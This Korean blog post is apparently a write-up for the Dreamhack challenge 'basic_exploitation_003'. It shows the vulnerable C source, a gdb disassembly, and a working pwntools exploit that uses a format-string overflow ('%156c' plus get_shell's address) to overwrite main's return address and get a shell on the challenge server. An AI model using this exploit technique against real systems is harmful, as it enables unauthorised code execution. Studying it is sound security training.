본문 바로가기
시스템 해킹/드림핵

[Dreamhack] basic_exploitation_003

by L3m0n S0ju 2021. 5. 22.

 


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}


위 코드는 문제에서 주어진 코드이다. 코드에 get_shell() 함수가 있으므로 get_shell 주소를 어딘가에 덮어씌우면 문제가 풀린다. 이전 문제들과는 다르게 제공된 공간보다 read 함수로 더 많이 읽어들여서 버퍼가 넘치는 방식은 불가능하다. read 함수로 heal_buf에 0x80 만큼 입력받고 0x90크기의 statk_buf로 복사하므로 일반적인 버퍼오버플로우 방식은 통하지 않는다.

 

문제의 핵심은 sprintf(stack_buf, heap_buf); 코드이다. sprintf(stack_buf, "%s", heap_buf); 와 같이 포맷스트링을 사용해야 하는데 개발자가 실수로 sprint(stack_buf, heap_buf)와 같이 작성하였다. 여기서 문제점은 heap_buf 문자열에 200%c 같은 문자열이 있다면 stack_buf는 200만큼의 문자열을 읽어들인다. stack_buf의 크기는 0x90으로 버퍼오버플로우가 발생한다.

 


 

 

Dump of assembler code for function main:
   0x0804867c <+0>:     push   ebp
   0x0804867d <+1>:     mov    ebp,esp
   0x0804867f <+3>:     push   edi
   0x08048680 <+4>:     sub    esp,0x94
   0x08048686 <+10>:    push   0x80
   0x0804868b <+15>:    call   0x8048490 <malloc@plt>
   0x08048690 <+20>:    add    esp,0x4
   0x08048693 <+23>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:    lea    edx,[ebp-0x98]
   0x0804869c <+32>:    mov    eax,0x0
   0x080486a1 <+37>:    mov    ecx,0x24
   0x080486a6 <+42>:    mov    edi,edx
   0x080486a8 <+44>:    rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:    call   0x8048622 <initialize>
   0x080486af <+51>:    push   0x80
   0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:    push   0x0
   0x080486b9 <+61>:    call   0x8048450 <read@plt>
   0x080486be <+66>:    add    esp,0xc
   0x080486c1 <+69>:    push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:    lea    eax,[ebp-0x98]
   0x080486ca <+78>:    push   eax
   0x080486cb <+79>:    call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:    add    esp,0x8
   0x080486d3 <+87>:    lea    eax,[ebp-0x98]
   0x080486d9 <+93>:    push   eax
   0x080486da <+94>:    push   0x8048791
   0x080486df <+99>:    call   0x8048460 <printf@plt>
   0x080486e4 <+104>:   add    esp,0x8
   0x080486e7 <+107>:   mov    eax,0x0
   0x080486ec <+112>:   mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:   leave  
   0x080486f0 <+116>:   ret    
End of assembler dump.

 


main 함수의 gdb 결과를 보면 stack_buf는 ebp에서 0x98만큼 떨어진 것을 알 수 있다. 현재 스택 구조는 아래와 같다.

 

+================+high

|                                  |

|                                  |

|        main ret               |

|        main sfp               |

|        stack_buf              |

|                                  |

+================+low

 

stack_buf 크기는 0x98, 즉 152이고 sfp 4바이트 값은 필요없으므로 %156c을 입력하고 main ret에 get_shell 함수의 주소를 주입하면 쉘을 획득할 수 있다. exploit 코드는 아래와 같다.

 


 

from pwn import *

#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",16356)
e=ELF('./basic_exploitation_003')
context.log_level='debug'

def main():   

    payload=b"%156c"
    payload += p32(e.symbols['get_shell'])
    r.send(payload)
    r.interactive()
 
if __name__ == '__main__':
    main()

 


플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] basic_exploitation_002  (0) 2021.07.17
[Dreamhack] sint  (0) 2021.07.15
[Dreamhack] oneshot  (0) 2021.05.11
[Dreamhack] Off_by_one_001  (0) 2021.05.07
[Dreamhack] basic_rop_x64  (0) 2021.05.05

댓글